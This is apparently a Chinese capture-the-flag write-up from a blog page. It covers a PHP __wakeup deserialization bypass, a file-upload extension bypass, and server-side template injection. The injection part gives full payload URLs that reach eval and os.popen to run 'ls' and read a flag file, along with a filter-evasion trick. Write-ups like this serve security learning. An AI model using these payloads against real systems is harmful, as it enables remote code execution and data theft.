wp

绕过_wakeup
在这里插入图片描述
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
在这里插入图片描述
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
在这里插入图片描述
2.
在这里插入图片描述
逆向解码
在这里插入图片描述
在这里插入图片描述
3.
在这里插入图片描述
上传漏洞
在这里插入图片描述
看样子只是后缀检测,抓包改后缀
在这里插入图片描述

在这里插入图片描述
连一下
在这里插入图片描述
4.
在这里插入图片描述
模板注入
在这里插入图片描述访问http://192.168.100.161:62264/%7B%7B[].class.base.subclasses()[59].init.func_globals.keys()%7D%7D,查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中
5.使用[‘o’+‘s’],可绕过对os字符的过滤,访问http://192.168.100.161:62264/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D查看flag文件所在
访问http://192.168.100.161:62264/%7B%7B%22%22.__class__.__mro__[2].__subclasses__()[40](%22fl4g%22).read()%7D%7D
在这里插入图片描述
base64/4
在这里插入图片描述

flag=base64.b16decode(s)
flag{E33B7FD8A3B841CA9699EDDBA24B60AA}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值